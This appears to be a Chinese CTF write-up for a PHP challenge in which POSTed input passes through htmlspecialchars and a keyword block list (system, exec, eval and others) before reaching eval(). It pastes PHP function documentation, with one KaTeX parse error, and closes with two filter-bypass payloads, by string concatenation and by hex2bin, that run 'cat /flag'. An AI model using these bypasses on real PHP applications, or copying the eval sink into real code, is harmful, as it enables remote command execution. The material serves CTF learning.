打开环境
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);
?>
这里就很简单的代码审计
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号) 成为 ’&‘;
" (双引号) 成为 ’"‘;
’ (单引号) 成为’'‘;
< (小于) 成为 ’<‘;
(大于) 成为 ’>‘;
语法
htmlspecialchars(string,quotestyle,character-set)
参数 描述
string 必需。规定要转换的字符串。
quotestyle
可选。规定如何编码单引号和双引号。
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
character-set
可选。字符串值,规定要使用的字符集。
ISO-8859-1 - 默认。西欧。
ISO-8859-15 - 西欧(增加 Euro 符号以及法语、芬兰语字母)。
UTF-8 - ASCII 兼容多字节 8 比特 Unicode
cp866 - DOS 专用 Cyrillic 字符集
cp1251 - Windows 专用 Cyrillic 字符集
cp1252 - Windows 专用西欧字符集
KOI8-R - 俄语
GB2312 - 简体中文,国家标准字符集
BIG5 - 繁体中文
BIG5-HKSCS - Big5 香港扩展
Shift_JIS - 日语
EUC-JP - 日语
提示和注释
提示:无法被识别的字符集将被忽略,并由 ISO-8859-1 代替。
例子
<?php $str = "John & 'Adams'"; echo htmlspecialchars($str, ENT_COMPAT); echo ""; echo htmlspecialchars($str, ENT_QUOTES); echo "
"; echo htmlspecialchars($str, ENT_NOQUOTES); ?> 浏览器输出:
John & ‘Adams’
John & ‘Adams’
John & ‘Adams’
如果在浏览器中查看源代码,会看到这些 HTML:
John & 'Adams'
John & 'Adams'
在PHP中,字符串函数 str_ireplace() 用来替换字符串中的一些字符(忽略大小写)。
函数语法:
str_ireplace ( mixed $search , mixed $replace , mixed KaTeX parse error: Expected 'EOF', got '&' at position 16: subject [, int &̲count ] ) : mixed
函数参数说明:
参数 描述
search 必需。规定要查找的值。
replace 必需。规定替换 search 中的值的值。
subject 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
str_ireplace() 用来替换字符串中的一些字符,匹配替换忽略大小写。该函数返回一个字符串或者数组。返回的字符串或数组是将 subject 中全部匹配 search 的值都被 replace 替换之后的结果。
替换的规则如下:
1. 如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。
2. 如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。
3. 如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。
4. 如果 search 和 replace 都是数组,它们的值将会被依次处理。
绕过方式很简单了
一:拼接绕过
cmd=(s.y.s.t.e.m)('cat /flag');
二:编码绕过
cmd=hex2bin('73797374656D')('cat /flag');
编码这个是个十六进制转换数学函数,没记错buu有一道相似的题,可以去看看。
希望这篇文章能帮助你!